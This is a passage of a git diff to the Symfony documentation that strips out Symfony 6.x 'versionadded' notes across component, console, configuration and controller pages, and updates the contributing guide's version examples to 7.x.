 * ``foo.baz ?? foo['baz'] ?? 'no'``
 
-.. versionadded:: 6.2
-
-    The null-coalescing operator was introduced in Symfony 6.2.
-
 Passing in Variables
 --------------------
 
diff --git a/components/finder.rst b/components/finder.rst
index 27dd6709b6d..ecf19fc1fe1 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -340,11 +340,6 @@ Sort the results by name, extension, size or type (directories first, then files
     $finder->sortBySize();
     $finder->sortByType();
 
-.. versionadded:: 6.2
-
-    The ``sortByCaseInsensitiveName()``, ``sortByExtension()`` and ``sortBySize()``
-    methods were introduced in Symfony 6.2.
-
 .. tip::
 
     By default, the ``sortByName()`` method uses the :phpfunction:`strcmp` PHP
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 18d64d6b467..5c6d0dba0c7 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -145,11 +145,6 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getString`
     Returns the parameter value as a string;
 
-.. versionadded:: 6.3
-
-    The ``ParameterBag::getEnum()`` and ``ParameterBag::getString()`` methods
-    were introduced in Symfony 6.3.
-
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
     If invalid values are found, a
@@ -220,11 +215,6 @@ wrapping this data::
 
     $data = $request->getPayload();
 
-.. versionadded:: 6.3
-
-    The :method:`Symfony\\Component\\HttpFoundation\\Request::getPayload`
-    method was introduced in Symfony 6.3.
-
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -389,10 +379,6 @@ use the ``isPrivateIp()`` method from the
     $isPrivate = IpUtils::isPrivateIp($ipv6);
     // $isPrivate = false
 
-.. versionadded:: 6.3
-
-    The ``isPrivateIp()`` method was introduced in Symfony 6.3.
-
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -562,11 +548,6 @@ call::
         'etag'             => 'abcdef',
     ]);
 
-.. versionadded:: 6.1
-
-    The ``stale_if_error`` and ``stale_while_revalidate`` options were
-    introduced in Symfony 6.1.
-
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`
@@ -629,11 +610,6 @@ represented by a PHP callable instead of a string::
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` class was
-    introduced in Symfony 6.3.
-
 The :class:`Symfony\\Component\\HttpFoundation\\StreamedJsonResponse` allows to
 stream large JSON responses using PHP generators to keep the used resources low.
 
@@ -646,9 +622,9 @@ containing JSON serializable data::
 
     // any method or function returning a PHP Generator
     function loadArticles(): \Generator {
-         yield ['title' => 'Article 1'];
-         yield ['title' => 'Article 2'];
-         yield ['title' => 'Article 3'];
+        yield ['title' => 'Article 1'];
+        yield ['title' => 'Article 2'];
+        yield ['title' => 'Article 3'];
     };
 
     $response = new StreamedJsonResponse(
@@ -723,10 +699,6 @@ including generators::
         return new StreamedJsonResponse(loadArticles());
     }
 
-.. versionadded:: 6.4
-
-    The ``StreamedJsonResponse`` support of iterables was introduced in Symfony 6.4.
-
 .. _component-http-foundation-serving-files:
 
 Serving Files
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 32f66f9ac2a..435ded9063a 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -280,10 +280,6 @@ Another typical use-case for this event is to retrieve the attributes from
 the controller using the :method:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::getAttributes`
 method. See the Symfony section below for some examples.
 
-.. versionadded:: 6.2
-
-    The ``ControllerEvent::getAttributes()`` method was introduced in Symfony 6.2.
-
 Listeners to this event can also change the controller callable completely
 by calling :method:`ControllerEvent::setController <Symfony\\Component\\HttpKernel\\Event\\ControllerEvent::setController>`
 on the event object that's passed to listeners on this event.
@@ -343,13 +339,6 @@ of arguments that should be passed when executing that callable.
     ``ValueResolverInterface`` yourself and passing this to the
     ``ArgumentResolver``, you can extend this functionality.
 
-    .. versionadded:: 6.2
-
-        The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
-        6.2, you had to use the
-        :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
-        which defines different methods.
-
 .. _component-http-kernel-calling-controller:
 
 5) Calling the Controller
diff --git a/components/intl.rst b/components/intl.rst
index 3981062f5b7..46146e47e1b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -210,10 +210,6 @@ numeric country codes::
     $exists = Countries::numericCodeExists('250');
     // => true
 
-.. versionadded:: 6.4
-
-    The support for numeric country codes was introduced in Symfony 6.4.
-
 Locales
 ~~~~~~~
 
@@ -397,10 +393,6 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The Emoji transliteration feature was introduced in Symfony 6.2.
-
 The ``EmojiTransliterator`` class provides a utility to translate emojis into
 their textual representation in all languages based on the `Unicode CLDR dataset`_::
 
@@ -448,10 +440,6 @@ Symfony emoji data files using the PHP ``zlib`` extension:
     # adjust the path to the 'compress' binary based on your application installation
     $ php ./vendor/symfony/intl/Resources/bin/compress
 
-.. versionadded:: 6.3
-
-    The ``compress`` binary was introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/components/lock.rst b/components/lock.rst
index 1c87942bb34..9e854ab89a6 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -553,11 +553,6 @@ the command:
 
     $ php bin/console make:migration
 
-.. versionadded:: 6.3
-
-    The automatic table generation when running the ``make:migration`` command
-    was introduced in Symfony 6.3.
-
 If you prefer to create the table yourself and it has not already been created, you can
 create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method.
@@ -610,10 +605,6 @@ store locks and does not expire.
 RedisStore
 ~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    ``\Relay\Relay`` support was introduced in Symfony 6.3.
-
 The RedisStore saves locks on a Redis server, it requires a Redis connection
 implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay`` or
 ``\Predis`` classes. This store does not support blocking, and expects a TTL to
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 46b0ee6d542..ddbdb878f4d 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -862,10 +862,6 @@ if an unknown option is passed. You can ignore not defined options by using the
         'version'  => '1.2.3'
     ]);
 
-.. versionadded:: 6.3
-
-    The ``ignoreUndefined()`` method was introduced in Symfony 6.3.
-
 Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bfa69893bb9..0e92c345ad1 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -291,10 +291,6 @@ Here is a summary that should help you pick the right configuration:
 Ignoring Deprecations
 .....................
 
-.. versionadded:: 6.1
-
-    The ``ignoreFile`` feature was introduced in Symfony 6.1.
-
 If your application has some deprecations that you can't fix for some reasons,
 you can tell Symfony to ignore them.
 
@@ -541,10 +537,6 @@ allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``
 function ``date()`` is mocked so it uses the mocked time if no timestamp is
 specified.
 
-.. versionadded:: 6.2
-
-    Support for mocking the ``hrtime()`` function was introduced in Symfony 6.2.
-
 Other functions with an optional timestamp parameter that defaults to ``time()``
 will still use the system time instead of the mocked time. This means that you
 may need to change some code in your tests. For example, instead of ``new DateTime()``,
@@ -741,10 +733,6 @@ reason, this component also provides mocks for these PHP functions:
 * :phpfunction:`trait_exists`
 * :phpfunction:`enum_exists`
 
-.. versionadded:: 6.3
-
-    The ``enum_exists`` function was introduced in Symfony 6.3.
-
 Use Case
 ~~~~~~~~
 
@@ -816,10 +804,6 @@ PHP 8.1 and later, calling ``class_exists`` on a enum will return ``true``.
 That's why calling ``ClassExistsMock::withMockedEnums()`` will also register the enum
 as a mocked class.
 
-.. versionadded:: 6.3
-
-    The ``enum_exists`` function was introduced in Symfony 6.3.
-
 Troubleshooting
 ---------------
 
diff --git a/components/process.rst b/components/process.rst
index 158b8d0bd5a..999dd9d1f2e 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -413,10 +413,6 @@ instead::
 Executing a PHP Child Process with the Same Configuration
 ---------------------------------------------------------
 
-.. versionadded:: 6.4
-
-    The ``PhpSubprocess`` helper was introduced in Symfony 6.4.
-
 When you start a PHP process, it uses the default configuration defined in
 your ``php.ini`` file. You can bypass these options with the ``-d`` command line
 option. For example, if ``memory_limit`` is set to ``256M``, you can disable this
diff --git a/components/property_access.rst b/components/property_access.rst
index c2a911e9b8e..1f3f28a6a1b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -89,11 +89,6 @@ You can also use multi dimensional arrays::
 
     Right square brackets ``]`` don't need to be escaped in array keys.
 
-    .. versionadded:: 6.3
-
-        Escaping dots and left square brackets in a property path was
-        introduced in Symfony 6.3.
-
 Reading from Objects
 --------------------
 
@@ -236,10 +231,6 @@ is to mark all nullable properties with the nullsafe operator (``?``)::
     // no longer evaluated and null is returned immediately without throwing an exception
     var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
 
-.. versionadded:: 6.2
-
-    The ``?`` nullsafe operator was introduced in Symfony 6.2.
-
 .. _components-property-access-magic-get:
 
 Magic ``__get()`` Method
diff --git a/components/property_info.rst b/components/property_info.rst
index d5699ea1bab..38e00b5dfc1 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -229,12 +229,6 @@ works. It assumes camel case style method names following `PSR-1`_. For example,
 both ``myProperty`` and ``my_property`` properties are readable if there's a
 ``getMyProperty()`` method and writable if there's a ``setMyProperty()`` method.
 
-.. versionadded:: 6.4
-
-    In Symfony versions prior to 6.4, snake case properties (e.g. ``my_property``)
-    were not writable by camel case methods (e.g. ``setMyProperty()``). You had
-    to define method names with underscores (e.g. ``setMy_property()``).
-
 .. _property-info-initializable:
 
 Property Initializable Information
diff --git a/components/serializer.rst b/components/serializer.rst
index f879d5167c6..630ff1cf3b8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -712,10 +712,6 @@ automatically detect and use it to serialize related attributes.
 The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
 and ``can``.
 
-.. versionadded:: 6.1
-
-    The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1.
-
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------
 
@@ -811,11 +807,6 @@ The Serializer component provides several built-in normalizers:
     combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
     ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
 
-    .. versionadded:: 6.2
-
-        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
-        values were introduced in Symfony 6.2.
-
 :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
     This normalizer works with classes that implement :phpclass:`JsonSerializable`.
 
@@ -852,10 +843,6 @@ The Serializer component provides several built-in normalizers:
     By default, an exception is thrown when data is not a valid backed enumeration. If you
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
-    .. versionadded:: 6.3
-
-        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
-
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
@@ -896,11 +883,6 @@ The Serializer component provides several built-in normalizers:
     setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
     context option.
 
-    .. versionadded:: 6.4
-
-        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-        was introduced in Symfony 6.4.
-
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at
@@ -1030,10 +1012,6 @@ Option                           Description
 ``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
 ===============================  ==========================================================================================================  ================================
 
-.. versionadded:: 6.4
-
-    The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4.
-
 The ``CsvEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -1252,10 +1230,6 @@ you can use "context builders" to define the context using a fluent interface::
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
 .. note::
 
     The Serializer component provides a context builder
diff --git a/components/string.rst b/components/string.rst
index ca289c70ba4..f743849fd19 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -565,10 +565,6 @@ the injected slugger is the same as the request locale::
 Slug Emojis
 ~~~~~~~~~~~
 
-.. versionadded:: 6.2
-
-    The Emoji transliteration feature was introduced in Symfony 6.2.
-
 You can transform any emojis into their textual representation::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
@@ -603,10 +599,6 @@ If you want to strip emojis from slugs, use the special ``strip`` locale::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-and-a';
 
-.. versionadded:: 6.3
-
-    The option to strip emojis from slugs was introduced in Symfony 6.3.
-
 .. _string-inflector:
 
 Inflector
diff --git a/components/uid.rst b/components/uid.rst
index 52403513995..26fd32989a9 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -70,10 +70,6 @@ to create each type of UUID::
     // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
     $uuid = Uuid::v8();
 
-.. versionadded:: 6.2
-
-    UUID versions 7 and 8 were introduced in Symfony 6.2.
-
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::
 
@@ -184,10 +180,6 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
     $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
-.. versionadded:: 6.2
-
-    The ``toHex()`` method was introduced in Symfony 6.2.
-
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
 
@@ -247,10 +239,6 @@ type, which converts to/from UUID objects automatically::
         // ...
     }
 
-.. versionadded:: 6.2
-
-    The ``UuidType::NAME`` constant was introduced in Symfony 6.2.
-
 There's also a Doctrine generator to help auto-generate UUID values for the
 entity primary keys::
 
@@ -387,10 +375,6 @@ Use these methods to transform the ULID object into different bases::
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
     $ulid->toHex();     // string(34) "0x0171069d593d97d38b3e23d06de5b308"
 
-.. versionadded:: 6.2
-
-    The ``toHex()`` method was introduced in Symfony 6.2.
-
 Working with ULIDs
 ~~~~~~~~~~~~~~~~~~
 
@@ -434,10 +418,6 @@ type, which converts to/from ULID objects automatically::
         // ...
     }
 
-.. versionadded:: 6.2
-
-    The ``UlidType::NAME`` constant was introduced in Symfony 6.2.
-
 There's also a Doctrine generator to help auto-generate ULID values for the
 entity primary keys::
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index d9d3543a641..d9b63a147d5 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -86,11 +86,6 @@ configure the locations of these files::
 The AttributeLoader
 -------------------
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4.
-
 The component provides an
 :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AttributeLoader` to get
 the metadata from the attributes of the class. For example::
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 6b336ad1d3e..06adc3a0021 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -485,10 +485,6 @@ then its dump representation::
 .. image:: /_images/components/var_dumper/10-uninitialized.png
     :alt: Dump output where the uninitialized property is represented by a question mark followed by the type definition.
 
-.. versionadded:: 6.4
-
-    Displaying uninitialized variables information was introduced in Symfony 6.4.
-
 .. _var-dumper-advanced:
 
 Advanced Usage
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 12c1396b0f1..17e2112210a 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -177,10 +177,6 @@ populated by using the special ``"\0"`` property name to define their internal v
         "\0" => [$inputArray],
     ]);
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\VarExporter\\Hydrator` was introduced in Symfony 6.2.
-
 Creating Lazy Objects
 ---------------------
 
@@ -288,10 +284,6 @@ Ghost objects unfortunately can't work with abstract classes or internal PHP
 classes. Nevertheless, the VarExporter component covers this need with the help
 of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` was introduced in Symfony 6.2.
-
 .. _var-exporter_virtual-proxies:
 
 LazyProxyTrait
@@ -357,10 +349,5 @@ Just like ghost objects, while you never query ``$processor->hash``, its value
 will not be computed. The main difference with ghost objects is that this time,
 a proxy of an abstract class was created. This also works with internal PHP class.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\VarExporter\\LazyProxyTrait` and
-    :class:`Symfony\\Component\\VarExporter\\ProxyHelper` were introduced in Symfony 6.2.
-
 .. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
diff --git a/components/yaml.rst b/components/yaml.rst
index 37d8064f235..ab4c0b6be22 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -355,10 +355,6 @@ and the special ``!php/enum`` syntax to parse them as proper PHP enums::
     // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
 
-.. versionadded:: 6.2
-
-    The support for PHP enumerations was introduced in Symfony 6.2.
-
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -422,10 +418,6 @@ By default, digit-only array keys are dumped as integers. You can use the
     $dumped = Yaml::dump([200 => 'foo'], 2, 4, Yaml::DUMP_NUMERIC_KEY_AS_STRING);
     // '200': foo
 
-.. versionadded:: 6.3
-
-    The ``DUMP_NUMERIC_KEY_AS_STRING`` flag was introduced in Symfony 6.3.
-
 Syntax Validation
 ~~~~~~~~~~~~~~~~~
 
diff --git a/configuration.rst b/configuration.rst
index e4a923c5858..bcdebade23a 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -81,10 +81,6 @@ readable. These are the main advantages and disadvantages of each format:
     methods in the ``src/Kernel.php`` file to add support for the ``.xml`` file
     extension.
 
-    .. versionadded:: 6.1
-
-        The automatic loading of PHP configuration files was introduced in Symfony 6.1.
-
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -292,14 +288,6 @@ reusable configuration value. By convention, parameters are defined under the
             something@example.com
         </parameter>
 
-.. versionadded:: 6.2
-
-    Passing an enum case as a service parameter was introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The ``trim`` attribute was introduced in Symfony 6.3.
-
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``
 (e.g. ``%app.admin_email%``):
@@ -395,10 +383,6 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
     They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
-.. versionadded:: 6.3
-
-    Compile-time parameters were introduced in Symfony 6.3.
-
 .. seealso::
 
     Later in this article you can read how to
@@ -984,10 +968,6 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
     # look for a specific variable passing its full or partial name as an argument
     $ php bin/console debug:dotenv foo
 
-.. versionadded:: 6.2
-
-    The option to pass variable names to ``debug:dotenv`` was introduced in Symfony 6.2.
-
 Additionally, and regardless of how you set environment variables, you can see all
 environment variables, with their values, referenced in Symfony's container configuration:
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 4f600a5b34b..eba9f4a482c 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -418,10 +418,6 @@ Symfony provides the following env var processors:
                     ->set(\RedisCluster::class, \RedisCluster::class)->args([null, '%env(shuffle:csv:REDIS_NODES)%']);
             };
 
-    .. versionadded:: 6.2
-
-        The ``env(shuffle:...)`` env var processor was introduced in Symfony 6.2.
-
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
 
@@ -782,10 +778,6 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
 
-    .. versionadded:: 6.2
-
-        The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
-
 ``env(defined:NO_FOO)``
     Evaluates to ``true`` if the env var exists and its value is not ``''``
     (an empty string) or ``null``; it returns ``false`` otherwise.
@@ -820,10 +812,6 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(defined:FOO)%');
 
-    .. versionadded:: 6.4
-
-        The ``env(defined:...)`` env var processor was introduced in Symfony 6.4.
-
 It is also possible to combine any number of processors:
 
 .. configuration-block::
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 890f3fc8b9c..26a332e4fdd 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -120,10 +120,6 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
-.. versionadded:: 6.1
-
-    The PHP attributes notation has been introduced in Symfony 6.1.
-
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
 
@@ -338,10 +334,6 @@ add a service conditionally based on the ``foo`` value::
         }
     }
 
-.. versionadded:: 6.1
-
-    The ``AbstractExtension`` class was introduced in Symfony 6.1.
-
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
diff --git a/console.rst b/console.rst
index 1f468327d61..136d4c7f8fe 100644
--- a/console.rst
+++ b/console.rst
@@ -67,14 +67,6 @@ command, for instance:
 Console Completion
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    Console completion for Fish was introduced in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    Console completion for Zsh was introduced in Symfony 6.2.
-
 If you are using the Bash, Zsh or Fish shell, you can install Symfony's
 completion script to get auto completion when typing commands in the
 terminal. All commands support name and option completion, and some can
@@ -356,10 +348,6 @@ method, which returns an instance of
 
     A new line is appended automatically when displaying information in a section.
 
-.. versionadded:: 6.2
-
-    The feature to limit the height of a console section was introduced in Symfony 6.2.
-
 Output sections let you manipulate the Console output in advanced ways, such as
 :ref:`displaying multiple progress bars <console-multiple-progress-bars>` which
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
diff --git a/console/coloring.rst b/console/coloring.rst
index a481b7650ff..346e0818a41 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -56,10 +56,6 @@ Any hex color is supported for foreground and background colors. Besides that, t
     the nearest color depending on the terminal capabilities. E.g. ``#c0392b`` is
     degraded to ``#d75f5f`` in 256-color terminals and to ``red`` in 8-color terminals.
 
-    .. versionadded:: 6.2
-
-        The support for 256-color terminals was introduced in Symfony 6.2.
-
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors
 are swapped) and ``conceal`` (sets the foreground color to transparent, making
diff --git a/console/input.rst b/console/input.rst
index ed637bdba74..4d709c18825 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -354,12 +354,6 @@ To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
         }
     }
 
-.. versionadded:: 6.1
-
-    The argument to ``addOption()``/``addArgument()`` was introduced in
-    Symfony 6.1. Prior to this version, you had to override the
-    ``complete()`` method of the command.
-
 That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing
 tab after typing ``app:greet Fa`` will give you these names as a suggestion.
 
diff --git a/console/style.rst b/console/style.rst
index bcc4d982457..0aaaa3f675e 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -333,10 +333,6 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true);
 
-.. versionadded:: 6.2
-
-    The ``multiSelect`` option of ``choice()`` was introduced in Symfony 6.2.
-
 .. _symfony-style-blocks:
 
 Result Methods
@@ -445,10 +441,6 @@ If you prefer to wrap all contents, including URLs, use this method::
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``setAllowCutUrls()`` method was introduced in Symfony 6.2.
-
 Defining your Own Styles
 ------------------------
 
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index b403169cbaf..d933f3bcead 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -251,34 +251,34 @@ directive:
 
 .. code-block:: rst
 
-    .. versionadded:: 6.2
+    .. versionadded:: 7.2
 
-        ... ... ... was introduced in Symfony 6.2.
+        ... ... ... was introduced in Symfony 7.2.
 
 If you are documenting a behavior change, it may be helpful to *briefly*
 describe how the behavior has changed:
 
 .. code-block:: rst
 
-    .. versionadded:: 6.2
+    .. versionadded:: 7.2
 
-       ... ... ... was introduced in Symfony 6.2. Prior to this,
+       ... ... ... was introduced in Symfony 7.2. Prior to this,
        ... ... ... ... ... ... ... ... .
 
-For a deprecation use the ``.. deprecated:: 6.x`` directive:
+For a deprecation use the ``.. deprecated:: 7.x`` directive:
 
 .. code-block:: rst
 
-    .. deprecated:: 6.2
+    .. deprecated:: 7.2
 
-        ... ... ... was deprecated in Symfony 6.2.
+        ... ... ... was deprecated in Symfony 7.2.
 
-Whenever a new major version of Symfony is released (e.g. 7.0, 8.0, etc), a new
+Whenever a new major version of Symfony is released (e.g. 8.0, 9.0, etc), a new
 branch of the documentation is created from the ``x.4`` branch of the previous
 major version. At this point, all the ``versionadded`` and ``deprecated`` tags
 for Symfony versions that have a lower major version will be removed. For
-example, if Symfony 7.0 were released today, 6.0 to 6.4 ``versionadded`` and
-``deprecated`` tags would be removed from the new ``7.0`` branch.
+example, if Symfony 8.0 were released today, 7.0 to 7.4 ``versionadded`` and
+``deprecated`` tags would be removed from the new ``8.0`` branch.
 
 .. _reStructuredText: https://docutils.sourceforge.io/rst.html
 .. _Sphinx: https://www.sphinx-doc.org/
diff --git a/controller.rst b/controller.rst
index 7afae06f728..891416d8aeb 100644
--- a/controller.rst
+++ b/controller.rst
@@ -229,10 +229,6 @@ command:
 
     You can read more about this attribute in :ref:`autowire-attribute`.
 
-    .. versionadded:: 6.1
-
-        The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
-
 Like with all services, you can also use regular
 :ref:`constructor injection <services-constructor-injection>` in your
 controllers.
@@ -383,11 +379,6 @@ attribute, arguments of your controller's action can be automatically fulfilled:
         // ...
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` attribute
-    was introduced in Symfony 6.3.
-
 Mapping The Whole Query String
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -449,15 +440,6 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
-    was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
-
 Mapping Request Payload
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -546,15 +528,6 @@ if you want to map a nested array of specific DTOs::
         ) {}
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
-    was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
-
 Managing the Session
 --------------------
 
@@ -728,11 +701,6 @@ The ``file()`` helper provides some arguments to configure its behavior::
 Sending Early Hints
 ~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The Early Hints helper of the ``AbstractController`` was introduced
-    in Symfony 6.3.
-
 `Early hints`_ tell the browser to start downloading some assets even before the
 application sends the response content. This improves perceived performance
 because the browser can prefetch resources that will be needed once the full
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 71efd680b08..abefc0efbb3 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -75,10 +75,6 @@ Symfony ships with the following value resolvers in the
     The example above allows requesting only ``/cards/D`` and ``/cards/S``
     URLs and leads to 404 Not Found response in two other cases.
 
-    .. versionadded:: 6.1
-
-        The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 
@@ -98,16 +94,6 @@ Symfony ships with the following value resolvers in the
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 
-    .. versionadded:: 6.1
-
-        The ``DateTimeValueResolver`` and the ``MapDateTime`` attribute were
-        introduced in Symfony 6.1.
-
-    .. versionadded:: 6.3
-
-        The use of the :doc:`Clock component </components/clock>` to generate the
